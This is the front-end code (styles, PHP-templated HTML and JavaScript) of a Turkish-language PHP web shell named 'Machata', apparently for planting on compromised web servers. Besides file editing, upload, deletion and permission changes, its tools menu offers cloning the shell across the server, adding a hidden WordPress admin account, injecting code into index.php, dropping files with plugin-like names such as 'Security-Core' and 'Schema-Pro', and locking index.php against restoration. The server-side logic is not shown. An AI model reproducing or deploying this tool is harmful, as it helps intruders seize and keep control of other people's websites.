            .file-table thead th, .file-table tbody td { font-size: 12px; padding: 6px 2px; }
            .icon-btn { font-size: 14px; padding: 5px 6px;}
            .permission-selector { grid-template-columns: 1fr; }
        }

        /* WP Admin Modal Stilleri */
        .wp-admin-modal {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1000;
        }

        .modal-overlay {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .modal-content {
            background: var(--bg-secondary);
            border-radius: 15px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            width: 90%;
            max-width: 500px;
            border: 1px solid var(--border-main);
        }

        .modal-header {
            padding: 20px 25px 15px;
            border-bottom: 1px solid var(--border-main);
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .modal-header h3 {
            margin: 0;
            color: var(--color-title);
            font-size: 18px;
        }

        .modal-close {
            background: none;
            border: none;
            font-size: 24px;
            color: var(--color-text);
            cursor: pointer;
            padding: 0;
            width: 30px;
            height: 30px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 50%;
            transition: background-color 0.2s;
        }

        .modal-close:hover {
            background-color: rgba(255, 255, 255, 0.1);
        }

        .modal-body {
            padding: 20px 25px;
        }

        .form-group {
            margin-bottom: 15px;
        }

        .form-group label {
            display: block;
            margin-bottom: 5px;
            color: var(--color-title);
            font-weight: 500;
        }

        .form-group input {
            width: 100%;
            padding: 10px 15px;
            border: 1px solid var(--border-main);
            border-radius: 8px;
            background: var(--bg-main);
            color: var(--color-text);
            font-size: 14px;
            transition: border-color 0.2s;
        }

        .form-group input:focus {
            outline: none;
            border-color: var(--color-primary);
        }

        .modal-footer {
            padding: 15px 25px 20px;
            border-top: 1px solid var(--border-main);
            display: flex;
            gap: 10px;
            justify-content: flex-end;
        }

        .modal-footer .btn {
            padding: 8px 20px;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            transition: all 0.2s;
        }

        .modal-footer .btn-secondary {
            background: var(--bg-main);
            color: var(--color-text);
            border: 1px solid var(--border-main);
        }

        .modal-footer .btn-secondary:hover {
            background: var(--border-main);
        }

        .modal-footer .btn-primary {
            background: var(--color-primary);
            color: white;
        }

        .modal-footer .btn-primary:hover {
            background: #0056b3;
        }

        /* Security Core Modal Stilleri */
        .security-core-modal {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1000;
        }

        .security-core-modal .modal-overlay {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.8);
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .security-core-modal .modal-content {
            background: var(--bg-card);
            border-radius: 15px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            width: 90%;
            max-width: 800px;
            border: 1px solid var(--border-main);
            color: var(--color-title);
        }

        .security-core-modal .modal-header {
            padding: 20px 25px 15px;
            border-bottom: 1px solid var(--border-main);
            display: flex;
            justify-content: space-between;
            align-items: center;
            background: var(--bg-card);
            border-radius: 15px 15px 0 0;
        }

        .security-core-modal .modal-header h3 {
            margin: 0;
            color: var(--color-title);
            font-size: 18px;
        }

        .security-core-modal .modal-close {
            background: none;
            border: none;
            font-size: 24px;
            color: var(--color-title);
            cursor: pointer;
            padding: 0;
            width: 30px;
            height: 30px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 50%;
            transition: background-color 0.2s;
        }

        .security-core-modal .modal-close:hover {
            background-color: var(--bg-hover);
        }

        .security-core-modal .modal-body {
            padding: 20px 25px;
            background: var(--bg-card);
            color: var(--color-title);
        }

        .security-core-modal .modal-footer {
            padding: 15px 25px 20px;
            border-top: 1px solid var(--border-main);
            display: flex;
            gap: 10px;
            justify-content: flex-end;
            background: var(--bg-card);
            border-radius: 0 0 15px 15px;
        }

        .security-core-modal .result-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
            background: var(--bg-card);
        }

        .security-core-modal .result-table th,
        .security-core-modal .result-table td {
            padding: 12px 15px;
            text-align: left;
            border-bottom: 1px solid var(--border-main);
            color: var(--color-title);
        }

        .security-core-modal .result-table th {
            background: var(--bg-table-header);
            color: var(--color-title);
            font-weight: 600;
            font-size: 14px;
        }

        .security-core-modal .result-table tbody tr {
            background: var(--bg-card);
        }

        .security-core-modal .result-table tbody tr:hover {
            background: var(--bg-hover);
        }

        .security-core-modal .badge-success {
            background: #28a745;
            color: #ffffff;
            padding: 4px 8px;
            border-radius: 4px;
            font-size: 12px;
            font-weight: 500;
        }

        .security-core-modal .alert-danger {
            background: rgba(220, 53, 69, 0.1);
            border: 1px solid rgba(220, 53, 69, 0.3);
            color: #dc3545;
            padding: 15px;
            border-radius: 8px;
            margin-top: 15px;
        }

        .security-core-modal .alert-danger ul {
            list-style-type: disc;
            padding-left: 20px;
            margin-bottom: 0;
        }

        .security-core-modal .alert-danger li {
            color: #dc3545;
            margin-bottom: 5px;
        }

        .security-core-modal .mb-3 {
            margin-bottom: 1rem;
        }

        .security-core-modal .table-responsive {
            overflow-x: auto;
            background: var(--bg-card);
            border-radius: 8px;
        }

        .security-core-modal h6 {
            color: var(--color-title);
            font-weight: 600;
            margin-bottom: 10px;
            font-size: 16px;
        }

        .security-core-modal .btn {
            padding: 8px 20px;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            transition: all 0.2s;
            font-weight: 500;
        }

        .security-core-modal .btn-secondary {
            background: #6c757d;
            color: #ffffff;
        }

        .security-core-modal .btn-secondary:hover {
            background: #5a6268;
        }

        .security-core-modal .btn-primary {
            background: #007bff;
            color: #ffffff;
        }

        .security-core-modal .btn-primary:hover {
            background: #0056b3;
        }

        /* Schema Pro Modal Stilleri */
        .schema-pro-modal {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1000;
        }

        .schema-pro-modal .modal-overlay {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.8);
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .schema-pro-modal .modal-content {
            background: var(--bg-card);
            border-radius: 15px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            width: 90%;
            max-width: 800px;
            border: 1px solid var(--border-main);
            color: var(--color-title);
        }

        .schema-pro-modal .modal-header {
            padding: 20px 25px 15px;
            border-bottom: 1px solid var(--border-main);
            display: flex;
            justify-content: space-between;
            align-items: center;
            background: var(--bg-card);
            border-radius: 15px 15px 0 0;
        }

        .schema-pro-modal .modal-header h3 {
            margin: 0;
            color: var(--color-title);
            font-size: 18px;
        }

        .schema-pro-modal .modal-close {
            background: none;
            border: none;
            font-size: 24px;
            color: var(--color-title);
            cursor: pointer;
            padding: 0;
            width: 30px;
            height: 30px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 50%;
            transition: background-color 0.2s;
        }

        .schema-pro-modal .modal-close:hover {
            background-color: var(--bg-hover);
        }

        .schema-pro-modal .modal-body {
            padding: 20px 25px;
            background: var(--bg-card);
            color: var(--color-title);
        }

        .schema-pro-modal .modal-footer {
            padding: 15px 25px 20px;
            border-top: 1px solid var(--border-main);
            display: flex;
            gap: 10px;
            justify-content: flex-end;
            background: var(--bg-card);
            border-radius: 0 0 15px 15px;
        }

        .schema-pro-modal .result-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
            background: var(--bg-card);
        }

        .schema-pro-modal .result-table th,
        .schema-pro-modal .result-table td {
            padding: 12px 15px;
            text-align: left;
            border-bottom: 1px solid var(--border-main);
            color: var(--color-title);
        }

        .schema-pro-modal .result-table th {
            background: var(--bg-table-header);
            color: var(--color-title);
            font-weight: 600;
            font-size: 14px;
        }

        .schema-pro-modal .result-table tbody tr {
            background: var(--bg-card);
        }

        .schema-pro-modal .result-table tbody tr:hover {
            background: var(--bg-hover);
        }

        .schema-pro-modal .badge-success {
            background: #28a745;
            color: #ffffff;
            padding: 4px 8px;
            border-radius: 4px;
            font-size: 12px;
            font-weight: 500;
        }

        .schema-pro-modal .alert-danger {
            background: rgba(220, 53, 69, 0.1);
            border: 1px solid rgba(220, 53, 69, 0.3);
            color: #dc3545;
            padding: 15px;
            border-radius: 8px;
            margin-top: 15px;
        }

        .schema-pro-modal .alert-danger ul {
            list-style-type: disc;
            padding-left: 20px;
            margin-bottom: 0;
        }

        .schema-pro-modal .alert-danger li {
            color: #dc3545;
            margin-bottom: 5px;
        }

        .schema-pro-modal .mb-3 {
            margin-bottom: 1rem;
        }

        .schema-pro-modal .table-responsive {
            overflow-x: auto;
            background: var(--bg-card);
            border-radius: 8px;
        }

        .schema-pro-modal h6 {
            color: var(--color-title);
            font-weight: 600;
            margin-bottom: 10px;
            font-size: 16px;
        }

        .schema-pro-modal .btn {
            padding: 8px 20px;
            border: none;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            transition: all 0.2s;
            font-weight: 500;
        }

        .schema-pro-modal .btn-secondary {
            background: #6c757d;
            color: #ffffff;
        }

        .schema-pro-modal .btn-secondary:hover {
            background: #5a6268;
        }

        .schema-pro-modal .btn-primary {
            background: #007bff;
            color: #ffffff;
        }

        .schema-pro-modal .btn-primary:hover {
            background: #0056b3;
        }
    </style>
</head>
<body>
    <main>
        <nav class="navbar">
            <div class="container-fluid">
                <!-- Üst header bar -->
                <div class="top-header">
                    <div class="header-left">
                        <div class="navbar-brand">
                            <i class="fas fa-folder-open"></i>
                            Machata
                        </div>
                    </div>
                    <div class="header-right">
                        <span class="username">admin</span>
                        <a href="?logout=1" class="logout-btn">
                            <i class="fas fa-sign-out-alt"></i> Çıkış Yap
                        </a>
                    </div>
                </div>
                

            </div>
        </nav>

        <div class="container-fluid">
            <!-- Bildirim Bar -->
            <div id="notificationBar" class="notification-bar"></div>
            
            <?php if ($edit_file): ?>
                <div class="editor-container">
                    <div class="editor-header">
                        <div class="editor-title-section">
                        <h3><i class="fas fa-edit"></i> <?= htmlspecialchars(basename($edit_file)) ?> düzenleniyor</h3>
                            <div class="editor-nav-buttons">
                                <a href="?path=<?= urlencode($current_path) ?>" class="btn btn-secondary btn-sm">
                                    <i class="fas fa-arrow-left"></i> Geri Dön
                                </a>
                            </div>
                        </div>
                        <div class="editor-action-buttons">
                            <button class="btn btn-primary" onclick="saveContent()">
                                <i class="fas fa-save"></i> Kaydet (Ctrl+S)
                            </button>
                            <a href="?path=<?= urlencode($current_path) ?>" class="btn btn-danger">
                                <i class="fas fa-times"></i> İptal
                            </a>
                        </div>
                    </div>
                    <div class="editor-content">
                        <?php if (isset($save_success)): ?>
                            <div class="alert alert-success" style="margin-bottom: 15px; padding: 10px; background-color: rgba(63, 185, 80, 0.2); border: 1px solid var(--success); border-radius: 4px; color: var(--success);">
                                <i class="fas fa-check-circle"></i> Dosya başarıyla kaydedildi!
                            </div>
                        <?php elseif (isset($save_error)): ?>
                            <div class="alert alert-danger" style="margin-bottom: 15px; padding: 10px; background-color: rgba(248, 81, 73, 0.2); border: 1px solid var(--danger); border-radius: 4px; color: var(--danger);">
                                <i class="fas fa-exclamation-triangle"></i> <?= htmlspecialchars($save_error) ?>
                            </div>
                        <?php endif; ?>
                        <form id="editForm" method="POST">
                            <textarea name="content" class="editor-textarea" id="editor"><?= htmlspecialchars($file_content ?? '') ?></textarea>
                            <input type="hidden" name="save_content" value="1">
                        </form>
                    </div>
                </div>
            <?php else: ?>
                <!-- Ana işlem alanı -->
                <?php if (isset($_GET['cache_result']) && isset($_SESSION['cache_result'])): ?>
                    <div class="alert <?= $_SESSION['cache_result']['success'] ? 'alert-success' : 'alert-danger' ?>" style="margin-bottom: 15px; padding: 10px; border-radius: 4px; background-color: <?= $_SESSION['cache_result']['success'] ? 'rgba(63, 185, 80, 0.2)' : 'rgba(248, 81, 73, 0.2)' ?>; border: 1px solid <?= $_SESSION['cache_result']['success'] ? 'var(--success)' : 'var(--danger)' ?>; color: <?= $_SESSION['cache_result']['success'] ? 'var(--success)' : 'var(--danger)' ?>;">
                        <i class="fas <?= $_SESSION['cache_result']['success'] ? 'fa-check-circle' : 'fa-exclamation-triangle' ?>"></i>
                        <?= htmlspecialchars($_SESSION['cache_result']['message']) ?>
                    </div>
                    <?php unset($_SESSION['cache_result']); ?>
                <?php endif; ?>
                
                <?php if (isset($_GET['security_result']) && isset($_SESSION['security_result'])): ?>
                    <div class="alert <?= $_SESSION['security_result']['success'] ? 'alert-success' : 'alert-danger' ?>" style="margin-bottom: 15px; padding: 10px; border-radius: 4px; background-color: <?= $_SESSION['security_result']['success'] ? 'rgba(63, 185, 80, 0.2)' : 'rgba(248, 81, 73, 0.2)' ?>; border: 1px solid <?= $_SESSION['security_result']['success'] ? 'var(--success)' : 'var(--danger)' ?>; color: <?= $_SESSION['security_result']['success'] ? 'var(--success)' : 'var(--danger)' ?>;">
                        <i class="fas <?= $_SESSION['security_result']['success'] ? 'fa-check-circle' : 'fa-exclamation-triangle' ?>"></i>
                        <?= htmlspecialchars($_SESSION['security_result']['message']) ?>
                    </div>
                    <?php unset($_SESSION['security_result']); ?>
                <?php endif; ?>
                
                <?php if (isset($_GET['protect_result']) && isset($_SESSION['protect_result'])): ?>
                    <div class="alert <?= $_SESSION['protect_result']['success'] ? 'alert-success' : 'alert-danger' ?>" style="margin-bottom: 15px; padding: 10px; border-radius: 4px; background-color: <?= $_SESSION['protect_result']['success'] ? 'rgba(63, 185, 80, 0.2)' : 'rgba(248, 81, 73, 0.2)' ?>; border: 1px solid <?= $_SESSION['protect_result']['success'] ? 'var(--success)' : 'var(--danger)' ?>; color: <?= $_SESSION['protect_result']['success'] ? 'var(--success)' : 'var(--danger)' ?>;">
                        <i class="fas <?= $_SESSION['protect_result']['success'] ? 'fa-check-circle' : 'fa-exclamation-triangle' ?>"></i>
                        <?= htmlspecialchars($_SESSION['protect_result']['message']) ?>
                    </div>
                    <?php unset($_SESSION['protect_result']); ?>
                <?php endif; ?>
                
                <?php if (isset($_GET['disable_result']) && isset($_SESSION['disable_result'])): ?>
                    <div class="alert <?= $_SESSION['disable_result']['success'] ? 'alert-success' : 'alert-danger' ?>" style="margin-bottom: 15px; padding: 10px; border-radius: 4px; background-color: <?= $_SESSION['disable_result']['success'] ? 'rgba(63, 185, 80, 0.2)' : 'rgba(248, 81, 73, 0.2)' ?>; border: 1px solid <?= $_SESSION['disable_result']['success'] ? 'var(--success)' : 'var(--danger)' ?>; color: <?= $_SESSION['disable_result']['success'] ? 'var(--success)' : 'var(--danger)' ?>;">
                        <i class="fas <?= $_SESSION['disable_result']['success'] ? 'fa-check-circle' : 'fa-exclamation-triangle' ?>"></i>
                        <?= htmlspecialchars($_SESSION['disable_result']['message']) ?>
                    </div>
                    <?php unset($_SESSION['disable_result']); ?>
                <?php endif; ?>
                <div class="main-actions">
                    <div class="actions-left">
                        <button class="upload-btn" onclick="showModal('uploadModal')">
                            <i class="fas fa-upload"></i> Upload
                        </button>
                        
                        <div class="create-section">
                            <input type="text" id="createName" placeholder="Dosya/klasör adı (örn: index.php)" class="create-input">
                            <select id="createType" class="create-select">
                                <option value="file">Dosya</option>
                                <option value="folder">Klasör</option>
                            </select>
                            <button class="create-btn" onclick="createItem()">
                                <i class="fas fa-plus"></i> Oluştur
                            </button>
                        </div>
                        
                        <div class="publish-tools-wrapper">
                            <button class="tools-main-btn" onclick="toggleToolsMenu()">
                                <i class="fas fa-tools"></i> Araçlar
                            </button>
                            <div class="publish-tools-menu" id="toolsMenu">
                                <button class="tools-menu-btn" onclick="addIndexCode()">
                                    <i class="fas fa-code"></i> İndex.php'ye Kodu Ekle
                                </button>
                                <button class="tools-menu-btn" onclick="clearCache()">
                                    <i class="fas fa-broom"></i> Cache Temizle
                                </button>
                                <button class="tools-menu-btn" onclick="toggleServerLock()">
                                    <i class="fas fa-lock"></i> Sunucuyu Kilitle/Aç
                                </button>
                                <button class="tools-menu-btn" onclick="cloneShell()">
                                    <i class="fas fa-copy"></i> Shelli Klonla
                                </button>
                                <button class="tools-menu-btn" onclick="showServerInfo()">
                                    <i class="fas fa-server"></i> Sunucu Bilgisi
                                </button>
                                <hr style="border: none; border-top: 1px solid var(--border-main); margin: 10px 0;">
                                <div style="text-align: center; font-weight: 600; color: var(--color-title); font-size: 13px; margin: 8px 0; letter-spacing: 0.5px;">
                                    WP ARAÇLARI
                                </div>
                                <hr style="border: none; border-top: 1px solid var(--border-main); margin: 10px 0;">
                                <button class="tools-menu-btn" onclick="wpAdminModal()">
                                    <i class="fas fa-user-plus"></i> WP Admin Ekle
                                </button>
                                <button class="tools-menu-btn" onclick="addSecurityCore()">
                                    <i class="fas fa-shield-alt"></i> Security-Core Dosyasını Ekle
                                </button>
                                <button class="tools-menu-btn" onclick="addSchemaPro()">
                                    <i class="fas fa-code"></i> Schema-Pro Dosyasını Ekle
                                </button>
                                <button class="tools-menu-btn" onclick="protectIndex()">
                                    <i class="fas fa-lock"></i> İndex.php'yi Korumaya Al
                                </button>
                                <button class="tools-menu-btn" onclick="disableIndexProtection()">
                                    <i class="fas fa-unlock"></i> İndex.php Korumayı Kapat
                                </button>
                            </div>
                        </div>
                    </div>
                </div>
                
                <!-- Breadcrumb -->
                <div class="breadcrumb">
                    <a href="?path=<?= urlencode($_SERVER['DOCUMENT_ROOT']) ?>">
                        <i class="fas fa-home"></i> Ana Dizin
                    </a>
                    <?php foreach ($breadcrumbs as $crumb): ?>
                        <i class="fas fa-chevron-right"></i>
                        <a href="?path=<?= urlencode($crumb['path']) ?>"><?= htmlspecialchars($crumb['name']) ?></a>
                    <?php endforeach; ?>
                </div>

                
                <div class="shadow-card">
                    <div class="table-responsive">
                        <table class="file-table">
                            <thead>
                                <tr>
                                    <th>Dosya/Klasör</th>
                                    <th>Boyut</th>
                                    <th>İzinler</th>
                                    <th>Tarih</th>
                                    <th>Sahip</th>
                                    <th>İşlemler</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php foreach ($folders as $folder): ?>
                                    <?php
                                    $folder_path = $real_current_path . '/' . $folder;
                                    $folder_perms = getFilePermissions($folder_path);
                                    $folder_perms_formatted = formatPermissions($folder_perms);
                                    $folder_owner = getFileOwner($folder_path);
                                    ?>
                                    <tr>
                                        <td>
                                            <i class="fas fa-folder"></i>
                                            <a href="?path=<?= urlencode($current_path . '/' . $folder) ?>" class="filename">
                                                <?= htmlspecialchars($folder) ?>
                                            </a>
                                        </td>
                                        <td>-</td>
                                        <td>
                                            <span class="permission-display" title="<?= $folder_perms ?>">
                                                <span class="perm-octal" onclick="togglePermissionEdit(this, '<?= htmlspecialchars($folder_path) ?>')" style="cursor: pointer; color: #007bff;"><?= $folder_perms ?></span>
                                                <span class="perm-text" style="margin-left: 8px;"><?= $folder_perms_formatted ?></span>
                                            </span>
                                        </td>
                                        <td>-</td>
                                        <td><?= htmlspecialchars($folder_owner) ?></td>
                                        <td>
                                            <div class="icon-action-row">
                                                <button class="icon-btn rename" onclick="renameItem('<?= htmlspecialchars($current_path . '/' . $folder) ?>', '<?= htmlspecialchars($folder) ?>', true)" title="Yeniden Adlandır">
                                                    <i class="fas fa-i-cursor"></i>
                                                </button>
                                                <button class="icon-btn permission" onclick="showPermissionModal('<?= htmlspecialchars($folder_path) ?>', '<?= $folder_perms ?>', '<?= htmlspecialchars($folder) ?>')" title="İzinleri Değiştir">
                                                    <i class="fas fa-key"></i>
                                                </button>
                                                <button class="icon-btn delete" onclick="deleteItem('<?= htmlspecialchars($current_path . '/' . $folder) ?>')" title="Sil">
                                                    <i class="fas fa-trash"></i>
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>

                                <?php foreach ($files as $file): ?>
                                    <?php
                                    $full_path = $real_current_path . '/' . $file;
                                    $relative_path = $current_path . '/' . $file;
                                    
                                    // Dosya bilgilerini güvenli şekilde al
                                    $file_size = 0;
                                    $file_time = 0;
                                    $file_perms = '0000';
                                    $file_perms_formatted = '---------';
                                    
                                    if (@is_readable($full_path)) {
                                        $file_size = @filesize($full_path);
                                        $file_time = @filemtime($full_path);
                                        $file_perms = getFilePermissions($full_path);
                                        $file_perms_formatted = formatPermissions($file_perms);
                                        $file_owner = getFileOwner($full_path);
                                    } else {
                                        $file_owner = 'unknown';
                                    }
                                    ?>
                                    <tr>
                                        <td>
                                            <i class="fas fa-file"></i>
                                            <a href="?path=<?= urlencode($current_path) ?>&edit=<?= urlencode($relative_path) ?>" class="filename">
                                                <?= htmlspecialchars($file) ?>
                                            </a>
                                        </td>
                                        <td><?= number_format($file_size) ?> bytes</td>
                                        <td>
                                            <span class="permission-display" title="<?= $file_perms ?>">
                                                <span class="perm-octal" onclick="togglePermissionEdit(this, '<?= htmlspecialchars($file_path) ?>')" style="cursor: pointer; color: #007bff;"><?= $file_perms ?></span>
                                                <span class="perm-text" style="margin-left: 8px;"><?= $file_perms_formatted ?></span>
                                            </span>
                                        </td>
                                        <td><?= date('d.m.Y H:i', $file_time) ?></td>
                                        <td><?= htmlspecialchars($file_owner) ?></td>
                                        <td>
                                            <div class="icon-action-row">
                                                <button class="icon-btn edit" onclick="window.location.href='?path=<?= urlencode($current_path) ?>&edit=<?= urlencode($relative_path) ?>'" title="Düzenle">
                                                    <i class="fas fa-edit"></i>
                                                </button>
                                                <button class="icon-btn rename" onclick="renameItem('<?= htmlspecialchars($relative_path) ?>', '<?= htmlspecialchars($file) ?>', false)" title="Yeniden Adlandır">
                                                    <i class="fas fa-i-cursor"></i>
                                                </button>
                                                <button class="icon-btn download" onclick="window.location.href='?download=<?= urlencode($relative_path) ?>'" title="İndir">
                                                    <i class="fas fa-download"></i>
                                                </button>
                                                <?php if (strtolower(pathinfo($file, PATHINFO_EXTENSION)) === 'zip'): ?>
                                                <button class="icon-btn zip" onclick="extractZip('<?= htmlspecialchars($relative_path) ?>')" title="Zipi Çıkar">
                                                    <i class="fas fa-file-archive"></i>
                                                </button>
                                                <?php endif; ?>
                                                <button class="icon-btn permission" onclick="showPermissionModal('<?= htmlspecialchars($full_path) ?>', '<?= $file_perms ?>', '<?= htmlspecialchars($file) ?>')" title="İzinleri Değiştir">
                                                    <i class="fas fa-key"></i>
                                                </button>
                                                <button class="icon-btn delete" onclick="deleteItem('<?= htmlspecialchars($relative_path) ?>')" title="Sil">
                                                    <i class="fas fa-trash"></i>
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>

                                <?php if (empty($folders) && empty($files)): ?>
                                    <tr>
                                        <td colspan="6" style="text-align: center; color: var(--color-muted);">
                                            Bu dizin boş
                                        </td>
                                    </tr>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            <?php endif; ?>
        </div>
    </main>

    <!-- Upload Modal -->
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <h2><i class="fas fa-upload"></i> Dosya Yükle</h2>
            <form method="POST" enctype="multipart/form-data">
                <div class="form-group">
                    <label for="file">Dosya Seç:</label>
                    <input type="file" id="file" name="file" required>
                </div>
                <input type="hidden" name="action" value="upload">
                <button type="submit" class="btn btn-primary">Yükle</button>
                <button type="button" class="btn btn-secondary" onclick="hideModal('uploadModal')">İptal</button>
            </form>
        </div>
    </div>

    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h2><i class="fas fa-file-plus"></i> Dosya Oluştur</h2>
            <form method="POST">
                <div class="form-group">
                    <label for="filename">Dosya Adı:</label>
                    <input type="text" id="filename" name="filename" required>
                </div>
                <input type="hidden" name="action" value="create_file">
                <button type="submit" class="btn btn-primary">Oluştur</button>
                <button type="button" class="btn btn-secondary" onclick="hideModal('createFileModal')">İptal</button>
            </form>
        </div>
    </div>

    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h2><i class="fas fa-folder-plus"></i> Klasör Oluştur</h2>
            <form method="POST">
                <div class="form-group">
                    <label for="foldername">Klasör Adı:</label>
                    <input type="text" id="foldername" name="foldername" required>
                </div>
                <input type="hidden" name="action" value="create_folder">
                <button type="submit" class="btn btn-primary">Oluştur</button>
                <button type="button" class="btn btn-secondary" onclick="hideModal('createFolderModal')">İptal</button>
            </form>
        </div>
    </div>

    <!-- Clone Results Modal -->
    <div id="cloneResultsModal" class="modal">
        <div class="modal-content">
            <h2><i class="fas fa-copy"></i> Shell Klonlama Sonuçları</h2>
            <div id="cloneResults"></div>
            <div style="margin-top: 20px; text-align: center;">
                <button class="btn btn-primary" onclick="copyCloneResults()">
                    <i class="fas fa-clipboard"></i> URL'leri Kopyala
                </button>
                <button class="btn btn-secondary" onclick="hideModal('cloneResultsModal')">Kapat</button>
            </div>
        </div>
    </div>

    <!-- Permission Modal -->
    <div id="permissionModal" class="modal">
        <div class="modal-content">
            <h2><i class="fas fa-key"></i> Dosya İzinlerini Değiştir</h2>
            <form method="POST">
                <div class="form-group">
                    <label>Dosya: <span id="permissionFileName" style="font-weight: normal; color: var(--color-muted);"></span></label>
                </div>
                <div class="form-group">
                    <label>Mevcut İzinler: <span id="currentPermissions" style="font-weight: normal; color: var(--color-muted);"></span></label>
                </div>
                <div class="form-group">
                    <label>Yeni İzinler:</label>
                    <div style="margin-bottom: 15px;">
                        <label style="font-weight: normal; margin-bottom: 10px;">
                            <input type="radio" name="permission_mode" value="octal" checked style="margin-right: 8px;">
                            Sayı ile (Octal)
                        </label>
                        <input type="text" id="octalInput" placeholder="örn: 755, 644" maxlength="4" 
                               style="width: 100px; padding: 8px; border: 1px solid var(--border-soft); border-radius: 4px; margin-left: 10px;">
                    </div>
                    <div style="margin-bottom: 15px;">
                        <label style="font-weight: normal;">
                            <input type="radio" name="permission_mode" value="checkboxes" style="margin-right: 8px;">
                            Checkbox ile
                        </label>
                    </div>
                    <div class="permission-selector">
                        <div class="permission-group">
                            <label>Owner (Sahip)</label>
                            <div class="permission-checkboxes">
                                <label><input type="checkbox" id="owner_r" value="4"> Read (r)</label>
                                <label><input type="checkbox" id="owner_w" value="2"> Write (w)</label>
                                <label><input type="checkbox" id="owner_x" value="1"> Execute (x)</label>
                            </div>
                        </div>
                        <div class="permission-group">
                            <label>Group (Grup)</label>
                            <div class="permission-checkboxes">
                                <label><input type="checkbox" id="group_r" value="4"> Read (r)</label>
                                <label><input type="checkbox" id="group_w" value="2"> Write (w)</label>
                                <label><input type="checkbox" id="group_x" value="1"> Execute (x)</label>
                            </div>
                        </div>
                        <div class="permission-group">
                            <label>World (Diğer)</label>
                            <div class="permission-checkboxes">
                                <label><input type="checkbox" id="world_r" value="4"> Read (r)</label>
                                <label><input type="checkbox" id="world_w" value="2"> Write (w)</label>
                                <label><input type="checkbox" id="world_x" value="1"> Execute (x)</label>
                            </div>
                        </div>
                    </div>
                    <div class="permission-preview">
                        <label>Önizleme: <span id="permissionPreview" style="font-family: monospace; color: var(--color-title);"></span></label>
                    </div>
                </div>
                <input type="hidden" name="action" value="change_permissions">
                <input type="hidden" name="file" id="permissionFilePath">
                <input type="hidden" name="permissions" id="permissionValue">
                <button type="submit" class="btn btn-primary">İzinleri Değiştir</button>
                <button type="button" class="btn btn-secondary" onclick="hideModal('permissionModal')">İptal</button>
            </form>
        </div>
    </div>

    <script>
        // Modal işlemleri
        function showModal(modalId) {
            document.getElementById(modalId).style.display = 'block';
            hideToolsMenu();
        }
        
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        function closeModal() {
            const modal = document.getElementById('serverInfoModal');
            if (modal) {
                modal.remove();
            }
        }
        
        // Tools menu işlemleri
        function toggleToolsMenu() {
            const menu = document.getElementById('toolsMenu');
            if (menu.style.display === 'block') {
                hideToolsMenu();
            } else {
                showToolsMenu();
            }
        }
        
        function showToolsMenu() {
            document.getElementById('toolsMenu').style.display = 'block';
        }
        
        function hideToolsMenu() {
            document.getElementById('toolsMenu').style.display = 'none';
        }
        
        // Dosya silme
        function deleteItem(path) {
            if (confirm('Bu öğeyi silmek istediğinizden emin misiniz?')) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="delete">
                    <input type="hidden" name="file" value="${path}">
                `;
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        // ZIP dosyasını çıkar
        function extractZip(zipPath) {
            if (confirm('Bu ZIP dosyasını bulunduğu dizine çıkarmak istediğinizden emin misiniz?')) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="extract_zip">
                    <input type="hidden" name="zip_file" value="${zipPath}">
                `;
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        // Editör kısayolları
        document.addEventListener('keydown', function(e) {
            if (e.ctrlKey && e.key === 's') {
                e.preventDefault();
                saveContent();
            }
        });
        
        function saveContent() {
            document.getElementById('editForm').submit();
        }
        
        // Modal dışına tıklayınca kapat
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.style.display = 'none';
            }
        }
        
        // Tools menu dışına tıklayınca kapat
        document.addEventListener('click', function(event) {
            const toolsWrapper = document.querySelector('.publish-tools-wrapper');
            const toolsMenu = document.getElementById('toolsMenu');
            
            if (!toolsWrapper.contains(event.target) && toolsMenu.style.display === 'block') {
                hideToolsMenu();
            }
        });

        // İzin modal'ını göster
        function showPermissionModal(filePath, currentPerms, fileName) {
            document.getElementById('permissionFilePath').value = filePath;
            document.getElementById('permissionFileName').textContent = fileName;
            document.getElementById('currentPermissions').textContent = currentPerms;
            
            // Octal input'a mevcut değeri yükle
            document.getElementById('octalInput').value = currentPerms;
            
            // Mevcut izinleri checkbox'lara yükle
            loadPermissionsToCheckboxes(currentPerms);
            
            // İlk mod olarak octal seçili olsun
